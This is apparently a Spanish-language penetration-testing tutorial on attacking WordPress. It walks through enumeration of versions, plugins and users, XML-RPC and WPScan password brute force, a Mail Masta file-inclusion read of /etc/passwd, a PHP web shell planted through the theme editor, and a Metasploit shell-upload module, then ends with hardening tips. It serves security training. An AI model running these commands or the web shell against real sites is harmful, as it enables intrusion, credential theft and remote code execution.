Atacar WordPress

1. Introducción a WordPress

WordPress es el CMS open‑source más usado, sosteniendo casi un tercio de la web. Desde blogs hasta e‑commerce, su flexibilidad permite:

  • Temas y plugins (gratis y de pago).
  • SEO integrado.
  • Panel de administración WYSIWYG.

Sin embargo, esa extensión facilita la introducción de vulnerabilidades, especialmente por código de terceros. WordPress corre típicamente sobre PHP/Apache/MySQL y muchos hosting ofrecen instalaciones «1‑click».


2. Anatomía de un sitio WordPress

2.1 Estructura de archivos

En Ubuntu con LAMP, tus archivos suelen vivir en /var/www/html:

tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php

Archivos clave:

  • index.php → Punto de entrada.
  • wp-config.php → Credenciales DB y configuración.

wp-config.php

<?php
/** The name of your database **/
define('DB_NAME', 'database_name_here');
define('DB_USER', 'username_here');
define('DB_PASSWORD', 'password_here');
define('DB_HOST', 'localhost');
/** Keys and salts **/
define('AUTH_KEY', '...');
// ...
define('WP_DEBUG', false);
if (!defined('ABSPATH')) define('ABSPATH', __DIR__.'/');
require_once ABSPATH.'wp-settings.php';

2.2 Directorios críticos

  • wp-content/plugins → Plugins activo/inactivo.
  • wp-content/themes → Temas.
  • wp-includes → Código core.

3. Roles y permisos

RolPermisos principales
AdministradorControl total (plugins, usuarios, código)
EditorPublica/gestiona posts incluso de otros
AutorPublica y edita sus propios posts
ColaboradorEscribe y edita sus posts pero no publica
SuscriptorLee contenido, edita perfil

4. Fase de Enumeración

4.1 Detectar versión de WP

  • Inspecciona la etiqueta <meta name="generator" ...> en el HTML.
curl -s http://blog.ejemplo.com | grep '<meta name="generator"'

## esto nos mostrará algo como: 
<meta name="generator" content="WordPress 5.3.3" />
  • En versiones antiguas, readme.html revela la versión.

4.2 Listar plugins y temas

Listar Temas

curl -s -X GET http://blog.ejemplo.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

Listar Plugins

curl -s http://blog.ejemplo.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/' | cut -d"'" -f2
# URLs de CSS/JS de plugins

Listar Plugins Activo con curl

curl -I http://blog.ejemplo.com/wp-content/plugins/mail-masta
HTTP/1.1 301 Moved Permanently

4.3 Indexación de directorios

Si mail-masta está deshabilitado, aún podrías acceder:

curl -s http://blog.ejemplo.com/wp-content/plugins/mail-masta/ | html2text

Recomendación: Desactiva directory listing en Apache.

4.4 Descubrir usuarios

Método 1: Autor ID

curl -I http://blog.ejemplo.com/?author=1
# Redirige a /author/admin/

Método 2: JSON API

curl http://blog.ejemplo.com/wp-json/wp/v2/users | jq

5. Acceso

5.1 Fuerza bruta con XML-RPC

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password</value></param></params></methodCall>" http://blog.ejemplo.com/xmlrpc.php
  • Respuesta exitosa devuelve <boolean>1</boolean>.
  • Con credenciales inválidas se retorna faultCode 403.

6. WPScan: Automatizando la enumeración

Instalación:

gem install wpscan

Ejemplo de uso básico:

wpscan --url http://blog.ejemplo.com --enumerate ap,u --api-token TU_TOKEN
  • --enumerate ap → Plugins
  • --enumerate u → Usuarios

7. Exploits prácticos

7.1 LFI en Mail Masta

Vulnerabilidad: count_of_send.php?pl=/etc/passwd

curl http://blog.ejemplo.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
# contiene /etc/passwd

7.2 Fuerza bruta con WPScan

wpscan --url http://blog.ejemplo.com --password-attack xmlrpc -U admin,david -P passwords.txt

7.3 RCE mediante editor de temas

  1. Entra a Apariencia > Editor de temas.
  2. Selecciona un tema inactivo, edita 404.php y agrega:
<?php system($_GET['cmd']); ?>
  1. Ejecuta: 404.php?cmd=id

7.4 Metasploit: wp_admin_shell_upload

msfconsole
search wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS blog.ejemplo.com
set USERNAME admin
set PASSWORD Winter2020
set LHOST 10.10.16.8
run

8. Refuerzo y buenas prácticas

  1. Mantén todo actualizado: define('WP_AUTO_UPDATE_CORE', true); add_filter('auto_update_plugin', '__return_true'); add_filter('auto_update_theme', '__return_true');
  2. Elimina plugins/temas no usados.
  3. Plugins de seguridad: Wordfence, iThemes Security, Sucuri.
  4. Gestiona usuarios: elimina admin, contraseñas fuertes, 2FA.
  5. Config Apache: deshabilita listings, restringe acceso a wp-login.php.

Comparte esta Publicación en Redes Sociales